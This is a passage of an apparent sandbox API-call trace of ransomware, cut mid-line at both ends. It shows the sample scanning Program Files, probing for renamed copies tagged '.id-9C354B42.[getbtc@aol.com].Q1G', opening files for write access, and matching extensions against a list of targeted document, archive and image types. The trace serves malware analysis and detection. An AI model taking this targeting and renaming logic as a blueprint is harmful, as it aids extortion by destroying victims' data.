Files\\System\\msadc\\adcvbs.inc") returned 53 [0238.159] lstrlenW (lpString=".1cd") returned 4 [0238.159] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0238.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0238.159] lstrlenW (lpString=".jpg") returned 4 [0238.159] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0238.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0238.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0238.159] lstrlenW (lpString=".doc") returned 4 [0238.159] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0238.159] lstrlenW (lpString=".docx") returned 5 [0238.159] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0238.159] lstrlenW (lpString=".pdf") returned 4 [0238.159] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0238.159] lstrlenW (lpString=".xls") returned 4 [0238.159] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0238.159] lstrlenW (lpString=".xlsx") returned 5 [0238.159] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0238.159] lstrlenW (lpString=".ppt") returned 4 [0238.159] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0238.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0238.159] lstrlenW (lpString=".zip") returned 4 [0238.159] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0238.159] lstrlenW (lpString=".rar") returned 4 [0238.159] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0238.159] lstrlenW (lpString=".bz2") returned 4 [0238.159] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0238.159] lstrlenW (lpString=".7z") returned 3 [0238.159] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0238.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0238.159] lstrlenW (lpString=".dbf") returned 4 [0238.159] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0238.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0238.159] lstrlenW (lpString=".1cd") returned 4 [0238.160] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0238.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0238.160] lstrlenW (lpString=".jpg") returned 4 [0238.160] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0238.160] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.160] lstrlenW (lpString="DissolveAnother.png") returned 19 [0238.160] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.161] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=27935) returned 1 [0238.161] CloseHandle (hObject=0x388) returned 1 [0238.161] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0238.161] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.161] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.161] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0238.161] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0238.161] lstrlenW (lpString=".doc") returned 4 [0238.161] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.161] lstrlenW (lpString=".docx") returned 5 [0238.161] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0238.161] lstrlenW (lpString=".pdf") returned 4 [0238.161] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.161] lstrlenW (lpString=".xls") returned 4 [0238.161] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.161] lstrlenW (lpString=".xlsx") returned 5 [0238.161] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0238.161] lstrlenW (lpString=".ppt") returned 4 [0238.161] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.161] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0238.161] lstrlenW (lpString=".zip") returned 4 [0238.162] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.162] lstrlenW (lpString=".rar") returned 4 [0238.162] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.162] lstrlenW (lpString=".bz2") returned 4 [0238.162] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.162] lstrlenW (lpString=".7z") returned 3 [0238.162] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.162] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0238.162] lstrlenW (lpString=".dbf") returned 4 [0238.162] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.162] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0238.162] lstrlenW (lpString=".1cd") returned 4 [0238.162] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.162] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0238.162] lstrlenW (lpString=".jpg") returned 4 [0238.162] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.162] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0238.162] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0238.162] lstrlenW (lpString=".doc") returned 4 [0238.162] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.162] lstrlenW (lpString=".docx") returned 5 [0238.162] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0238.162] lstrlenW (lpString=".pdf") returned 4 [0238.162] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.162] lstrlenW (lpString=".xls") returned 4 [0238.162] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.162] lstrlenW (lpString=".xlsx") returned 5 [0238.162] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0238.162] lstrlenW (lpString=".ppt") returned 4 [0238.162] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.162] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0238.162] lstrlenW (lpString=".zip") returned 4 [0238.162] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.162] lstrlenW (lpString=".rar") returned 4 [0238.162] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.162] lstrlenW (lpString=".bz2") returned 4 [0238.163] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.163] lstrlenW (lpString=".7z") returned 3 [0238.163] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.163] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0238.163] lstrlenW (lpString=".dbf") returned 4 [0238.163] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.163] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0238.163] lstrlenW (lpString=".1cd") returned 4 [0238.163] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.163] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0238.163] lstrlenW (lpString=".jpg") returned 4 [0238.163] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.163] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.163] lstrlenW (lpString="DissolveNoise.png") returned 17 [0238.163] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.163] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=751669) returned 1 [0238.163] CloseHandle (hObject=0x388) returned 1 [0238.164] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0238.164] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.164] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.164] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0238.164] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0238.164] lstrlenW (lpString=".doc") returned 4 [0238.164] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.164] lstrlenW (lpString=".docx") returned 5 [0238.164] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0238.164] lstrlenW (lpString=".pdf") returned 4 [0238.164] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.164] lstrlenW (lpString=".xls") returned 4 [0238.164] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.164] lstrlenW (lpString=".xlsx") returned 5 [0238.164] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0238.164] lstrlenW (lpString=".ppt") returned 4 [0238.164] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.164] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0238.164] lstrlenW (lpString=".zip") returned 4 [0238.164] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.164] lstrlenW (lpString=".rar") returned 4 [0238.164] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.164] lstrlenW (lpString=".bz2") returned 4 [0238.164] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.164] lstrlenW (lpString=".7z") returned 3 [0238.164] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.164] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0238.165] lstrlenW (lpString=".dbf") returned 4 [0238.165] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0238.165] lstrlenW (lpString=".1cd") returned 4 [0238.165] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0238.165] lstrlenW (lpString=".jpg") returned 4 [0238.165] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0238.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0238.165] lstrlenW (lpString=".doc") returned 4 [0238.165] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.165] lstrlenW (lpString=".docx") returned 5 [0238.165] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0238.165] lstrlenW (lpString=".pdf") returned 4 [0238.165] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.165] lstrlenW (lpString=".xls") returned 4 [0238.165] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.165] lstrlenW (lpString=".xlsx") returned 5 [0238.165] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0238.165] lstrlenW (lpString=".ppt") returned 4 [0238.165] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0238.165] lstrlenW (lpString=".zip") returned 4 [0238.165] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.165] lstrlenW (lpString=".rar") returned 4 [0238.165] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.165] lstrlenW (lpString=".bz2") returned 4 [0238.165] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.165] lstrlenW (lpString=".7z") returned 3 [0238.165] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0238.165] lstrlenW (lpString=".dbf") returned 4 [0238.165] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.165] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0238.165] lstrlenW (lpString=".1cd") returned 4 [0238.166] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.166] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0238.166] lstrlenW (lpString=".jpg") returned 4 [0238.166] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.166] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.166] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0238.166] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.167] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=10123) returned 1 [0238.167] CloseHandle (hObject=0x388) returned 1 [0238.167] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0238.168] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.168] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0238.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0238.168] lstrlenW (lpString=".doc") returned 4 [0238.168] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.168] lstrlenW (lpString=".docx") returned 5 [0238.168] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0238.168] lstrlenW (lpString=".pdf") returned 4 [0238.168] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.168] lstrlenW (lpString=".xls") returned 4 [0238.168] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.168] lstrlenW (lpString=".xlsx") returned 5 [0238.168] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0238.168] lstrlenW (lpString=".ppt") returned 4 [0238.168] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0238.168] lstrlenW (lpString=".zip") returned 4 [0238.168] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.168] lstrlenW (lpString=".rar") returned 4 [0238.168] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.168] lstrlenW (lpString=".bz2") returned 4 [0238.168] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.168] lstrlenW (lpString=".7z") returned 3 [0238.168] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.168] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0238.168] lstrlenW (lpString=".dbf") returned 4 [0238.169] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0238.169] lstrlenW (lpString=".1cd") returned 4 [0238.169] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0238.169] lstrlenW (lpString=".jpg") returned 4 [0238.169] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0238.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0238.169] lstrlenW (lpString=".doc") returned 4 [0238.169] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.169] lstrlenW (lpString=".docx") returned 5 [0238.169] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0238.169] lstrlenW (lpString=".pdf") returned 4 [0238.169] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.169] lstrlenW (lpString=".xls") returned 4 [0238.169] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.169] lstrlenW (lpString=".xlsx") returned 5 [0238.169] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0238.169] lstrlenW (lpString=".ppt") returned 4 [0238.169] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0238.169] lstrlenW (lpString=".zip") returned 4 [0238.169] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.169] lstrlenW (lpString=".rar") returned 4 [0238.169] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.169] lstrlenW (lpString=".bz2") returned 4 [0238.169] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.169] lstrlenW (lpString=".7z") returned 3 [0238.169] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0238.169] lstrlenW (lpString=".dbf") returned 4 [0238.169] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0238.169] lstrlenW (lpString=".1cd") returned 4 [0238.169] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.169] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0238.170] lstrlenW (lpString=".jpg") returned 4 [0238.170] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.170] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.170] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0238.170] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.170] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3286) returned 1 [0238.170] CloseHandle (hObject=0x388) returned 1 [0238.170] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0238.170] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0238.170] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.170] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0238.171] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0238.171] lstrlenW (lpString=".doc") returned 4 [0238.171] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.171] lstrlenW (lpString=".docx") returned 5 [0238.171] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0238.171] lstrlenW (lpString=".pdf") returned 4 [0238.171] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.171] lstrlenW (lpString=".xls") returned 4 [0238.171] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.171] lstrlenW (lpString=".xlsx") returned 5 [0238.171] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0238.171] lstrlenW (lpString=".ppt") returned 4 [0238.171] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.171] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0238.171] lstrlenW (lpString=".zip") returned 4 [0238.171] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.171] lstrlenW (lpString=".rar") returned 4 [0238.171] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.171] lstrlenW (lpString=".bz2") returned 4 [0238.171] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.171] lstrlenW (lpString=".7z") returned 3 [0238.171] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.171] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0238.171] lstrlenW (lpString=".dbf") returned 4 [0238.171] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.171] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0238.171] lstrlenW (lpString=".1cd") returned 4 [0238.171] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.171] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0238.171] lstrlenW (lpString=".jpg") returned 4 [0238.171] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.171] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0238.171] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0238.171] lstrlenW (lpString=".doc") returned 4 [0238.171] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0238.172] lstrlenW (lpString=".docx") returned 5 [0238.172] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0238.172] lstrlenW (lpString=".pdf") returned 4 [0238.172] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0238.172] lstrlenW (lpString=".xls") returned 4 [0238.172] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0238.172] lstrlenW (lpString=".xlsx") returned 5 [0238.172] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0238.172] lstrlenW (lpString=".ppt") returned 4 [0238.172] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0238.172] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0238.172] lstrlenW (lpString=".zip") returned 4 [0238.172] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0238.172] lstrlenW (lpString=".rar") returned 4 [0238.172] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0238.172] lstrlenW (lpString=".bz2") returned 4 [0238.172] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0238.172] lstrlenW (lpString=".7z") returned 3 [0238.172] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0238.172] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0238.172] lstrlenW (lpString=".dbf") returned 4 [0238.172] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0238.172] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0238.172] lstrlenW (lpString=".1cd") returned 4 [0238.172] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0238.172] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png") returned 84 [0238.172] lstrlenW (lpString=".jpg") returned 4 [0238.172] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0238.172] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0238.172] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31 [0238.172] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0238.173] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3316) returned 1 [0238.173] CloseHandle (hObject=0x388) returned 1 [0238.173] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd 